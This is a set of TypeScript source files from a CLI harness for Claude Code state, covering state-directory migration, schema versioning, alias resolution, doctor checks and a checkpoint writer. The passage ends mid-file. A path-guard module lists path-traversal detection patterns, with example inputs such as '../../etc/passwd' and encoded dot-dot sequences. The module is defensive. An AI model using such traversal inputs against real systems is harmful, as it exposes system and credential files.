Historical context:\n// - v2.0.1 already migrated `.harnessed-backup/` → `~/.harnessed/backups/`\n// via `getBackupRoot()` in `backup.ts` (sister pattern, single SoT).\n// - v3.0.2 added `getMcpSpawnCwd()` for the MCP-install spawn cwd surface.\n// - v3.0.3 generalises the migration to the **rest** of the harness-owned\n// state directories (state.json + checkpoints/ + current-workflow.json +\n// .lock + audit.log + governance.json + archive/) AND co-locates the\n// entire root under `~/.claude/harnessed/` next to `~/.claude/skills/`\n// and `~/.claude.json` — the user's Claude Code state directory is the\n// natural neighbor for the harness's Claude-Code-managing state.\n//\n// Solution: `getHarnessedRoot()` returns `homedir()/.claude/harnessed`\n// unconditionally (sister `getBackupRoot()` v2.0.1 posture). All callers\n// compose their subdir via `harnessedSubdir(name)` so the SoT is honored.\n//\n// Auto-migration: `migrateLegacyHarnessedRoot()` detects pre-v3.0.3\n// `~/.harnessed/` (v2.0.1+ users with existing backups) and renames it\n// atomically to `~/.claude/harnessed/`. Called lazily on first\n// `getHarnessedRoot()` use so any harnessed CLI command triggers the move\n// without requiring a re-run of `harnessed setup`.\n//\n// Why unconditional (no probe + fallback)? Symmetric with v2.0.1 + v3.0.2 —\n// homedir is reliably writable on Win/Mac/Linux; falling back to ctx.cwd\n// re-introduces the EPERM bug we are fixing. `~/.claude/` is already created\n// by Claude Code itself when the user installs CC, so the parent always exists.\n\nimport { existsSync, mkdirSync, renameSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/**\n * Return the homedir-rooted harness state root, co-located under Claude Code's\n * state directory.\n *\n * Sister: `src/installers/lib/backup.ts:32` `getBackupRoot()` v2.0.1 and\n * `src/installers/lib/safeCwd.ts` `getMcpSpawnCwd()` v3.0.2 — same unconditional\n * homedir posture.\n *\n * Returns absolute path `<homedir>/.claude/harnessed`. Callers should use\n * `harnessedSubdir(name)` for nested directories rather than `join` directly,\n * to keep all path composition routed through the single SoT.\n *\n * Pure path composition — no filesystem side effects. Legacy directory\n * migration is performed explicitly by CLI entry points via\n * `migrateLegacyHarnessedRoot()` (called from `src/cli.ts` before any\n * subcommand runs), keeping unit tests free of fs side-effects.\n *\n * Test isolation: if `HARNESSED_ROOT_OVERRIDE` is set, return that value\n * verbatim. This is the supported mechanism for e2e tests to redirect the\n * harness root into a per-test tmpdir without polluting the real user home\n * directory. Production code never sets this env var; the override has no\n * effect on real CLI invocations.\n */\nexport function getHarnessedRoot(): string {\n const override = process.env.HARNESSED_ROOT_OVERRIDE\n if (override !== undefined && override !== '') return override\n return join(homedir(), '.claude', 'harnessed')\n}\n\n/**\n * Compose a subdirectory under the harness root. Convenience over\n * `join(getHarnessedRoot(), name)` so callers do not have to import `path`.\n *\n * Example: `harnessedSubdir('checkpoints')` →\n * `<homedir>/.claude/harnessed/checkpoints`.\n */\nexport function harnessedSubdir(name: string): string {\n return join(getHarnessedRoot(), name)\n}\n\n/**\n * Compose a file path under the harness root.\n *\n * Example: `harnessedFile('state.json')` →\n * `<homedir>/.claude/harnessed/state.json`.\n */\nexport function harnessedFile(name: string): string {\n return join(getHarnessedRoot(), name)\n}\n\n/**\n * Migrate the legacy `~/.harnessed/` directory (created by v2.0.1+ for\n * `backups/` and by v3.0.2 for state surfaces) to the new co-located\n * `~/.claude/harnessed/` location.\n *\n * Four cases:\n * 1. Only legacy exists → atomic rename to new path.\n * 2. Only new exists → no-op (already migrated or fresh install).\n * 3. Both exist → rename legacy to `~/.harnessed.legacy-bak/`\n * and emit a stderr warning. Preserves user data;\n * avoids data loss from a clobbering merge.\n * 4. Neither exists → no-op (fresh install).\n *\n * Sync API (renameSync) because this runs once at startup and we want the\n * harnessed root to be in its final location before any other helper composes\n * a path against it. The performance cost of a single rename is negligible.\n *\n * No catch-and-swallow: filesystem errors propagate to the caller so the\n * harness fails loudly rather than silently writing to the wrong location.\n * Idempotency is preserved by the `migrationAttempted` guard above + by\n * checking the legacy-bak sentinel before renaming a second time.\n */\nexport function migrateLegacyHarnessedRoot(): void {\n const legacyRoot = join(homedir(), '.harnessed')\n const newRoot = join(homedir(), '.claude', 'harnessed')\n const claudeParent = join(homedir(), '.claude')\n\n if (!existsSync(legacyRoot)) return // cases 2 + 4: nothing to do\n\n if (!existsSync(newRoot)) {\n // Case 1: clean migration.\n mkdirSync(claudeParent, { recursive: true })\n renameSync(legacyRoot, newRoot)\n console.error(\n `[harnessed] migrated legacy state directory ${legacyRoot} → ${newRoot} (v3.0.3 path change)`,\n )\n return\n }\n\n // Case 3: both exist — preserve legacy under a sibling bak path. If the\n // bak path already exists, a prior run already did the rescue + the legacy\n // path is somehow back; surface that clearly rather than overwriting.\n const safetyBak = join(homedir(), '.harnessed.legacy-bak')\n if (existsSync(safetyBak)) {\n console.error(\n `[harnessed] WARN: ${legacyRoot} reappeared after a prior migration (existing bak at ${safetyBak}); leaving in place — inspect manually if needed`,\n )\n return\n }\n renameSync(legacyRoot, safetyBak)\n console.error(\n `[harnessed] both ${legacyRoot} and ${newRoot} existed — legacy directory preserved at ${safetyBak} (review manually if you need data from it; v3.0.3 path change)`,\n )\n}\n","// src/cli/lib/probe-gstack.ts — Phase 3.2 W1 T1.4 — D-01 PROBE PRIMARY helper\n// (sister Phase 2.4 W3 origin-check.ts sister-share extract pattern for Karpathy\n// ≤200L 守门 — keeps doctor.ts ≤200L). Probes 4 outcome branches: gstack-only\n// (pass) / bare-only (pass) / both (ambiguous, fail+fix) / neither (fail+install).\n// Win shell flavor sister doctor.ts L80 checkJq pattern (process.platform switch).\nimport { spawnSync } from 'node:child_process'\n\nexport type GstackPrefix = 'gstack-' | ''\n\nexport interface ProbeResult {\n status: 'pass' | 'fail'\n prefix?: GstackPrefix\n detail: string\n fix?: string\n}\n\nfunction probeOne(cmd: string): boolean {\n // sister doctor.ts L80 checkJq pattern: Node spawnSync 不继承 shell context,\n // 跨 Win-shell 唯一稳路径 (RESEARCH § 1.2 verified).\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, [cmd], { encoding: 'utf8' })\n return r.status === 0 && (r.stdout?.trim().length ?? 0) > 0\n}\n\n/** Probe PATH for gstack command prefix. 4 outcome branches per D-01 LOCKED\n * (RESEARCH § 1.4 message table verbatim — Karpathy fail-loud discipline). */\nexport function probeGstackPrefix(): ProbeResult {\n const hasGstack = probeOne('gstack-office-hours')\n const hasBare = probeOne('office-hours')\n if (hasGstack && !hasBare) {\n return { status: 'pass', prefix: 'gstack-', detail: 'gstack-office-hours found' }\n }\n if (!hasGstack && hasBare) {\n return { status: 'pass', prefix: '', detail: 'office-hours found (--no-prefix mode)' }\n }\n if (hasGstack && hasBare) {\n return {\n status: 'fail',\n detail: 'both gstack-office-hours AND office-hours found — ambiguous',\n fix: 'edit .harnessed/config.json manually: \\'{\"gstack_prefix\":\"gstack-\"}\\' OR \\'{\"gstack_prefix\":\"\"}\\'',\n }\n }\n return {\n status: 'fail',\n detail: 'neither gstack-office-hours nor office-hours found in PATH',\n fix: 'install gstack: `npm i -g @gstack/cli` (or your preferred install method)',\n }\n}\n","// Phase 5.2 W2 T2.1 — R10.4 path traversal guard (D-03 + D-08).\n// Sister: src/cli/audit-log.ts REDACT_PATTERNS module-level pre-compile pattern.\n// Pre-compile at module load (NOT inside guardPath — per PLAN sneak-block +\n// RESEARCH § 3.1 Pitfall 4: do NOT use inside hot loop).\n// D-08: PathTraversalError message generic — NOT echo user input (CSO veto).\n// Karpathy hard limit ≤200L.\n\n// D-03 LOCKED: 5 OWASP A1 path traversal vectors (CONTEXT.md D-03 L66-71).\nconst PATH_TRAVERSAL_PATTERNS: RegExp[] = [\n /\\.\\.\\//, // (1) Unix dot-dot-slash: ../../etc/passwd\n /\\.\\.\\\\/, // (2) Windows backslash: ..\\windows\\system32\n // biome-ignore lint/suspicious/noControlCharactersInRegex: intentional null-byte injection detection (R10.4 D-03 OWASP A1 vector 3)\n /\\x00/, // (3) Null byte injection: path\\x00attack\n /%2[eE]%2[eE]/, // (4) URL-encoded dot-dot: %2e%2e%2fetc\n /%25[2][eE]%25[2][eE]/, // (5) Double-encoded: %252e%252e%252f\n]\n\n/** D-08: generic message — NOT echo back user input (attack reconnaissance leakage CSO veto). */\nexport class PathTraversalError extends Error {\n constructor() {\n super('path traversal attempt detected')\n this.name = 'PathTraversalError'\n Object.setPrototypeOf(this, PathTraversalError.prototype)\n }\n}\n\n/**\n * Guard a user-supplied path/name against the 5 OWASP A1 traversal vectors.\n * Throws PathTraversalError on first match.\n * Safe: does NOT include user input in error message (D-08).\n * Call at CLI entry points only — NOT inside loops (RESEARCH § Pitfall 4).\n */\nexport function checkPathSafe(input: string): void {\n for (const re of PATH_TRAVERSAL_PATTERNS) {\n if (re.test(input)) throw new PathTraversalError()\n }\n}\n","// Phase 2.2 Wave 2 T2.0 — schemaVersion 7-surface infrastructure (CD-5).\n// ADR 0011 errata — schemaVersion convention (phase 2.2 W2 — F4 / D-16 / B-32).\n//\n// IMPL NOTE — implements `.planning/intel/omc-comparison.md` § CD-5 (single\n// 兼容门 ⭐⭐⭐ ECC pattern, 纯学不 vendor). Naming convention\n// `harnessed.<surface>.v<N>` covers 18 schema-producing surfaces. Three consumer\n// rules (documented as JSDoc on each export below):\n// (a) consumers MUST branch on `schemaVersion` (use `branchOnSchemaVersion`)\n// (b) unknown `schemaVersion` values gracefully degrade (treated as `unknown`\n// bucket — adapter-specific strings are legal, never throw)\n// (c) new fields MUST be added nested (never top-level on existing surface)\n//\n// The 18 surfaces are the schema-producing artifacts:\n// - routing-snapshot : routing engine arbitrate output snapshot\n// - handoff-doc : phase → phase handoff document\n// - phases-yaml : workflows/execute-task/phases.yaml\n// - manifest-state : .harnessed/state/manifest.json\n// - installer-state : .harnessed/state/installer.json\n// - route-decision-log : routing decision audit log\n// - checkpoint : execute-task workflow checkpoint envelope\n// - current-workflow : workflow state machine (active / paused / complete) ← Phase 3.1 W1 T1.1 ADD (8th surface, D-02 KARPATHY 3-state lock)\n// - config : .harnessed/config.json (gstack_prefix store) ← Phase 3.2 W1 T1.1 ADD (9th surface, D-01 PROBE)\n// - governance : .harnessed/governance.json (gstack veto status) ← Phase 3.2 W1 T1.1 ADD (10th surface, D-04 PUSH)\n// - plan-feature : src/workflow/schema/planFeature.ts ← Phase 3.3 W0 T0.5 BACKFILL (11th surface)\n// - aliases : manifests/aliases.yaml ← Phase 3.3 W1 T1.1 ADD (12th surface, D-01 RICH)\n// - known-good : versions/<harnessed-ver>-known-good.yaml ← Phase 3.3 W1 T1.1 ADD (13th surface, D-03 YAML manifest)\n// - capabilities : workflows/capabilities.yaml ← Phase v2.0-2.3 W0 ADD 14th surface (R20.2 flat yaml capabilities manifest validate)\n// - judgment : workflows/judgments/*.yaml ← Phase v2.0-2.3 W0 ADD 15th surface (R20.4 multi-file judgments validate)\n// - workflow : workflows/<sub>/workflow.yaml v2 ← Phase v2.0-2.4 W0 ADD 16th surface (R20.1+R20.2+R20.9)\n// - workflow_v3 : workflows/<stage>/<sub>/workflow.yaml v3 ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (D-09 disciplines_applied + D-05 tools_available + master delegates_to)\n// - discipline : workflows/disciplines/*.yaml ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface (D-09 L0 Discipline Substrate)\n//\n// TypeBox is the established schema lib (sister of `src/manifest/schema/spec.ts`).\n\nimport { type Static, Type } from '@sinclair/typebox'\n\n/** SchemaVersion template literal — `harnessed.<surface>.v<N>`. Each producer\n * declares its surface name once via `SCHEMA_VERSIONS` below and references it\n * through this type, so a string literal drift is a compile error.\n * Default is `.v1`; v2 entry sister: `SchemaVersionV2<S>` for explicit v2 surfaces;\n * v3 entry sister: `SchemaVersionV3<S>` for explicit v3 surfaces. */\nexport type SchemaVersion<S extends string> = `harnessed.${S}.v1`\nexport type SchemaVersionV2<S extends string> = `harnessed.${S}.v2`\nexport type SchemaVersionV3<S extends string> = `harnessed.${S}.v3`\n\n/** Single source of truth for the 18 surface names (B-32 / D-16). Producers MUST\n * import from this const — direct string literals fail the Wave 2 grep\n * acceptance (≥ 18 `harnessed.\\w+.v\\d` references in src/types/*.ts). */\nexport const SCHEMA_VERSIONS = {\n routingSnapshot: 'harnessed.routing-snapshot.v1',\n handoffDoc: 'harnessed.handoff-doc.v1',\n phasesYaml: 'harnessed.phases-yaml.v1',\n manifestState: 'harnessed.manifest-state.v1',\n installerState: 'harnessed.installer-state.v1',\n routeDecisionLog: 'harnessed.route-decision-log.v1',\n checkpoint: 'harnessed.checkpoint.v1',\n currentWorkflow: 'harnessed.current-workflow.v1', // ← Phase 3.1 W1 T1.1 ADD 8th surface (D-02 KARPATHY 3-state)\n config: 'harnessed.config.v1', // ← Phase 3.2 W1 T1.1 ADD 9th surface (D-01 PROBE gstack_prefix store)\n governance: 'harnessed.governance.v1', // ← Phase 3.2 W1 T1.1 ADD 10th surface (D-04 PUSH veto status)\n planFeature: 'harnessed.plan-feature.v1', // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface\n aliases: 'harnessed.aliases.v1', // ← Phase 3.3 W1 T1.1 ADD 12th surface (D-01 RICH)\n knownGood: 'harnessed.known-good.v1', // ← Phase 3.3 W1 T1.1 ADD 13th surface (D-03 YAML manifest)\n capabilities: 'harnessed.capabilities.v1', // ← Phase v2.0-2.3 W0 ADD 14th surface (R20.2 flat yaml capabilities manifest validate)\n judgment: 'harnessed.judgment.v1', // ← Phase v2.0-2.3 W0 ADD 15th surface (R20.4 multi-file judgments validate)\n workflow: 'harnessed.workflow.v2', // ← Phase v2.0-2.4 W0 T2.4.W0.1 ADD 16th surface (R20.1+R20.2+R20.9 workflow.yaml v2)\n workflow_v3: 'harnessed.workflow.v3', // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (D-09 disciplines_applied + D-05 tools_available + master delegates_to per Pattern A B.1 LOCK)\n discipline: 'harnessed.discipline.v1', // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface (D-09 L0 Discipline Substrate, sister judgment.v1 multi-file pattern)\n} as const\n\n/** TypeBox literal union — useful as a refinement on a `schemaVersion` field\n * inside any surface schema (e.g. `schemaVersion: SchemaVersionLiteral`). */\nexport const SchemaVersionLiteral = Type.Union([\n Type.Literal(SCHEMA_VERSIONS.routingSnapshot),\n Type.Literal(SCHEMA_VERSIONS.handoffDoc),\n Type.Literal(SCHEMA_VERSIONS.phasesYaml),\n Type.Literal(SCHEMA_VERSIONS.manifestState),\n Type.Literal(SCHEMA_VERSIONS.installerState),\n Type.Literal(SCHEMA_VERSIONS.routeDecisionLog),\n Type.Literal(SCHEMA_VERSIONS.checkpoint),\n Type.Literal(SCHEMA_VERSIONS.currentWorkflow), // ← Phase 3.1 W1 T1.1 ADD 8th surface\n Type.Literal(SCHEMA_VERSIONS.config), // ← Phase 3.2 W1 T1.1 ADD 9th surface\n Type.Literal(SCHEMA_VERSIONS.governance), // ← Phase 3.2 W1 T1.1 ADD 10th surface\n Type.Literal(SCHEMA_VERSIONS.planFeature), // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface\n Type.Literal(SCHEMA_VERSIONS.aliases), // ← Phase 3.3 W1 T1.1 ADD 12th surface\n Type.Literal(SCHEMA_VERSIONS.knownGood), // ← Phase 3.3 W1 T1.1 ADD 13th surface\n Type.Literal(SCHEMA_VERSIONS.capabilities), // ← Phase v2.0-2.3 W0 ADD 14th surface\n Type.Literal(SCHEMA_VERSIONS.judgment), // ← Phase v2.0-2.3 W0 ADD 15th surface\n Type.Literal(SCHEMA_VERSIONS.workflow), // ← Phase v2.0-2.4 W0 T2.4.W0.1 ADD 16th surface (first .v2 in union)\n Type.Literal(SCHEMA_VERSIONS.workflow_v3), // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (first .v3 in union)\n Type.Literal(SCHEMA_VERSIONS.discipline), // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface\n])\n\nexport type SchemaVersionLiteralType = Static<typeof SchemaVersionLiteral>\n\n/** Consumer branch helper — rule (a) consumer MUST branch on `schemaVersion`;\n * rule (b) unknown values gracefully degrade to the `unknown` handler. The\n * handler-shape encodes the contract so the type system enforces it.\n *\n * Phase v3.0-3.3 NOTE: `workflow.v3` and `discipline.v1` are the latest\n * surfaces. The v1 handler accepts any *known* surface regardless of version\n * suffix — consumers of v2/v3-only surfaces must check the literal explicitly\n * (the schema_version field is also Type.Literal-constrained at schema-level,\n * so structural drift fails earlier). */\nexport function branchOnSchemaVersion<T>(\n v: string,\n handlers: { v1: () => T; unknown: () => T },\n): T {\n // Any string matching a registered SCHEMA_VERSIONS value (v1, v2, or v3) routes\n // to the v1 handler — the legacy name reflects rule (a) \"known surface\" semantics.\n const isKnownVersion = (Object.values(SCHEMA_VERSIONS) as readonly string[]).includes(v)\n return isKnownVersion ? handlers.v1() : handlers.unknown()\n}\n","// src/manifest/schema/aliases.v1.ts — Phase 3.3 W1 T1.2 (D-01 RICH 12th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts TypeBox shape direct analog).\n// RICH schema rejected FLAT (失 metadata) + TIERED (Karpathy YAGNI violation).\n// Manifest-domain colocation: src/manifest/schema/ (sister spec.ts + metadata.ts\n// existing manifest-domain schemas). Per W0.3 decision doc colocation rule.\n// ISO-date `pattern` NOT `format: 'date'` (Phase 3.2 W2 Rule 1 lesson:\n// FormatRegistry.Set not registered project-wide; `pattern` is zero-config\n// equivalent + sister governance.ts vetoed_at pattern precedent).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const AliasEntryV1 = Type.Object(\n {\n redirect: Type.String({ minLength: 1 }),\n reason: Type.String({ minLength: 1, maxLength: 500 }), // DOS cap sister governance.ts\n since_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n deprecation_date: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO-date Phase 3.2 W2 Rule 1\n removal_date: Type.Optional(Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' })), // optional long-tail window\n },\n { additionalProperties: false },\n)\n\nexport const AliasesV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.aliases), // 'harnessed.aliases.v1'\n aliases: Type.Record(Type.String({ minLength: 1 }), AliasEntryV1),\n },\n { additionalProperties: false },\n)\n\nexport type AliasEntryV1Type = Static<typeof AliasEntryV1>\nexport type AliasesV1Type = Static<typeof AliasesV1>\n","// src/manifest/aliases.ts — Phase 3.3 W1 T1.4 — D-01 RICH consumer.\n// Sister src/manifest/validate.ts (yaml.parse + Value.Check) + sister\n// src/checkpoint/state.ts L23-41 (fail-soft read pattern).\n// Memoized 1-read per process (Karpathy YAGNI, only pay cost on doctor 7th\n// check OR install path resolveAlias call). yaml.parse via existing project\n// yaml lib (sister src/manifest/validate.ts convention).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { checkPathSafe } from './lib/path-guard.js'\nimport { AliasesV1, type AliasesV1Type } from './schema/aliases.v1.js'\n\nconst ALIASES_PATH = join(process.cwd(), 'manifests', 'aliases.yaml')\n\nlet _cached: AliasesV1Type | null = null\n\n/** Load aliases.yaml once per process (memoized). Returns null if file absent.\n * Throws Karpathy fail-loud Error on schema invalid (debug locality). */\nexport function loadAliases(): AliasesV1Type | null {\n if (_cached) return _cached\n if (!existsSync(ALIASES_PATH)) return null\n const raw = readFileSync(ALIASES_PATH, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(AliasesV1, parsed)) {\n const errs = [...Value.Errors(AliasesV1, parsed)].slice(0, 3)\n throw new Error(\n `aliases.yaml schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cached = parsed\n return parsed\n}\n\n/** Resolve old → new name redirect; returns null if no alias for the name. */\nexport function resolveAlias(name: string): string | null {\n // R10.4 D-04 hardening site 1 — guard user-controlled name before yaml lookup.\n checkPathSafe(name)\n return loadAliases()?.aliases?.[name]?.redirect ?? null\n}\n\n/** List all deprecated entries (consumer: doctor 7th check). */\nexport function listDeprecations(): Array<{\n old: string\n entry: AliasesV1Type['aliases'][string]\n}> {\n const a = loadAliases()\n return a ? Object.entries(a.aliases).map(([old, entry]) => ({ old, entry })) : []\n}\n","// src/cli/lib/check-deprecations.ts — Phase 3.3 W1 T1.6 — D-02 DOCTOR-ONLY-WARN\n// PRIMARY helper (sister Phase 3.2 W1 T1.4 probe-gstack.ts 48L sister-share\n// extract pattern for Karpathy ≤200L 守门 — keeps doctor.ts ≤200L). Lists\n// deprecated manifests by reading manifests/aliases.yaml (D-01 RICH schema)\n// + emits CheckResult for doctor 7th check warning output. Table format\n// multi-deprecation aggregation per Discretion locked (RESEARCH § 3.2 verbatim).\nimport { listDeprecations } from '../../manifest/aliases.js'\n\nexport interface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\n/** Doctor 7th check: list deprecated manifests from aliases.yaml. D-02 DOCTOR-\n * ONLY-WARN: status='warn' when deprecations exist (install path silently\n * redirects, doctor surface here is human-readable audit). */\nexport function checkDeprecations(): CheckResult {\n try {\n const deprecations = listDeprecations()\n if (deprecations.length === 0) {\n return { name: 'deprecated manifests', status: 'pass', message: 'no deprecated manifests' }\n }\n const lines = deprecations.map(({ old, entry }) => {\n const removal = entry.removal_date ? `, removes ${entry.removal_date}` : ''\n return ` '${old}' → '${entry.redirect}' (since ${entry.since_version}, ${entry.deprecation_date}${removal}; ${entry.reason})`\n })\n return {\n name: 'deprecated manifests',\n status: 'warn',\n message: `${deprecations.length} deprecated manifest(s):\\n${lines.join('\\n')}`,\n fix: 'install paths auto-redirect; consider migrating manifest references to new names',\n }\n } catch (e) {\n return {\n name: 'deprecated manifests',\n status: 'fail',\n message: `aliases.yaml load error: ${(e as Error).message}`,\n fix: 'verify manifests/aliases.yaml schema (see docs/PROJECT-SPEC.md)',\n }\n }\n}\n","// Phase 3.1 Wave 1 T1.2 — checkpoint envelope schema (7th-existing surface,\n// 1st checkpoint-namespace producer). Sister of `src/workflow/schema/phases.ts`\n// (TypeBox `Type.Object` pattern, PATTERNS § 1 #1 90% reuse).\n//\n// IMPL NOTE — `cwd` field is a hard requirement per RESEARCH § 1.3 (Claude\n// Agent SDK session resume binds to the original working directory; resuming\n// from a different cwd silently fails). D-04 WIRE-IN: optional `session_id`\n// captured via `sdkSpawn` `onSessionId` callback (CD-4 closure-ready) and\n// archived in the checkpoint envelope so a future `--resume` can replay.\n//\n// Status is the same 3-state union as `currentWorkflow.v1` (D-02 KARPATHY\n// lock — no FSM lib). Drift across the two unions = test-time mismatch in\n// `tests/checkpoint/schema.test.ts`.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state checkpoint status (D-02 KARPATHY lock). Matches `WorkflowStatus`\n * in `currentWorkflow.v1.ts` by convention. */\nexport const CheckpointStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Checkpoint envelope — execute-task workflow snapshot persisted to\n * `.harnessed/checkpoints/<phase>.json`. Consumers MUST branch on\n * `schemaVersion` via `branchOnSchemaVersion` (CD-5 rule (a)). */\nexport const CheckpointV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.checkpoint),\n phase: Type.String({ minLength: 1 }),\n status: CheckpointStatus,\n last_task: Type.String(),\n key_decisions: Type.Array(Type.String()),\n canonical_refs: Type.Array(Type.String()),\n /** D-04 WIRE-IN: optional SDK session_id captured via `sdkSpawn`\n * `onSessionId` callback (CD-4 closure-ready) for future `--resume`. */\n session_id: Type.Optional(Type.String()),\n /** RESEARCH § 1.3 critical constraint — SDK session resume requires cwd\n * match; we capture and validate at restore time. */\n cwd: Type.String({ minLength: 1 }),\n timestamp: Type.String({ minLength: 1 }), // ISO-8601 by convention (TypeBox `format` requires Ajv-style format registry; we keep shape-check only — drift caught in writeCheckpoint path)\n archive_path: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type CheckpointV1Type = Static<typeof CheckpointV1>\n","// Phase 3.1 Wave 1 T1.2 — current-workflow state machine schema (8th surface).\n// Sister of `checkpoint.v1.ts` (same 3-state union by convention).\n//\n// Persisted to `.harnessed/current-workflow.json` and read by the state\n// machine in `src/checkpoint/state.ts` (T1.3). D-02 KARPATHY 3-state lock\n// (no xstate / robot3 — pure data with 3 transition functions).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state workflow status (D-02 KARPATHY lock). Mirrors `CheckpointStatus`\n * in `checkpoint.v1.ts` by convention. */\nexport const WorkflowStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Current-workflow envelope — singleton state file pointing at the last\n * checkpoint path. `last_checkpoint_path` is nullable on `activate()`\n * before the first checkpoint write. */\nexport const CurrentWorkflowV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.currentWorkflow),\n phase: Type.String({ minLength: 1 }),\n status: WorkflowStatus,\n last_checkpoint_path: Type.Union([Type.String(), Type.Null()]),\n // ISO-8601 by convention (TypeBox `format` requires Ajv-style registry; shape-check only here, drift surfaces in state.ts writer).\n started_at: Type.String({ minLength: 1 }),\n paused_at: Type.Optional(Type.String({ minLength: 1 })),\n completed_at: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\nexport type CurrentWorkflowV1Type = Static<typeof CurrentWorkflowV1>\n","// Phase 3.1 Wave 1 T1.2 — barrel for checkpoint schemas (CD-5 modular sister\n// of `src/manifest/schema/spec.ts`).\nexport * from './checkpoint.v1.js'\nexport * from './currentWorkflow.v1.js'\n","// Phase 3.1 W2 T2.1 — checkpoint template: mechanical writer + budget enforcer\n// (D-01 LOCKED: zero LLM call — pure mechanical assembly + fail-loud truncate).\n//\n// Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw pattern).\n// Budget enforcement strategy (R § 2 R7.2 < 1k token acceptance):\n// Level 1 — truncate `last_task` to first 200 chars\n// Level 2 — truncate `key_decisions` to first 5 items\n// Level 3 — throw CheckpointTooLargeError (fail-loud, do NOT silently drop data)\n// Token estimation: 1 char ≈ 0.25 token via Buffer.byteLength (R § 3 heuristic).\n\nimport { mkdirSync, writeFileSync } from 'node:fs'\nimport { dirname, join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { harnessedSubdir } from '../installers/lib/harnessedRoot.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\n\nconst BUDGET_TOKEN = 1000\n\nexport class CheckpointTooLargeError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointTooLargeError'\n }\n}\n\nexport class CheckpointWriteError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointWriteError'\n }\n}\n\n/** Heuristic: 1 char ≈ 0.25 token (English-dominant) — R § 3 estimation strategy.\n * Uses Buffer.byteLength for utf8-accurate length (multibyte glyphs counted right). */\nexport function estimateTokens(s: string): number {\n return Math.ceil(Buffer.byteLength(s, 'utf8') / 4)\n}\n\n/** Fail-loud truncate strategy: try truncate longest fields first; if still over → throw.\n * Order chosen so highest-value fields (canonical_refs, session_id, cwd) are preserved\n * and only narrative-redundant fields (last_task tail, decisions tail) are sacrificed. */\nexport function enforceBudget(c: CheckpointV1Type, budget = BUDGET_TOKEN): CheckpointV1Type {\n let candidate = c\n let tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 1: truncate last_task to first 200 chars\n candidate = { ...candidate, last_task: candidate.last_task.slice(0, 200) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 2: truncate key_decisions to first 5 items\n candidate = { ...candidate, key_decisions: candidate.key_decisions.slice(0, 5) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n throw new CheckpointTooLargeError(\n `Checkpoint exceeds ${budget}-token budget even after truncation (estimated ${tokens})`,\n )\n}\n\n/** Write checkpoint envelope to `<harnessed-root>/checkpoints/<phase>.json` (or customPath).\n * v3.0.3: default path routed through `getHarnessedRoot()` SoT (homedir-rooted).\n * Throws CheckpointWriteError on schema violation; CheckpointTooLargeError on budget. */\nexport function writeCheckpoint(c: CheckpointV1Type, customPath?: string): string {\n if (!Value.Check(CheckpointV1, c)) {\n const errs = [...Value.Errors(CheckpointV1, c)].map((e) => e.message).join('; ')\n throw new CheckpointWriteError(`Schema validation failed: ${errs}`)\n }\n const enforced = enforceBudget(c)\n const path = customPath ?? join(harnessedSubdir('checkpoints'), `${enforced.phase}.json`)\n mkdirSync(dirname(path), { recursive: true })\n writeFileSync(path, JSON.stringify(enforced, null, 2), 'utf8')\n return path\n}\n","// Phase 3.4 W1 T1.1 — D-03 BUFFER /4 + D-04 DOCTOR WARN PRIMARY helper. Sister\n// Phase 3.3 W1 T1.6 check-deprecations.ts 43L. Scans ~/.claude/skills + repo\n// skills/ SKILL.md frontmatter description tokens via Phase 3.1 D-01\n// estimateTokens (Buffer.byteLength /4 zero-dep heuristic). Karpathy ≤40L hard.\nimport { existsSync, readdirSync, readFileSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { estimateTokens } from '../../checkpoint/template.js'\nimport type { CheckResult 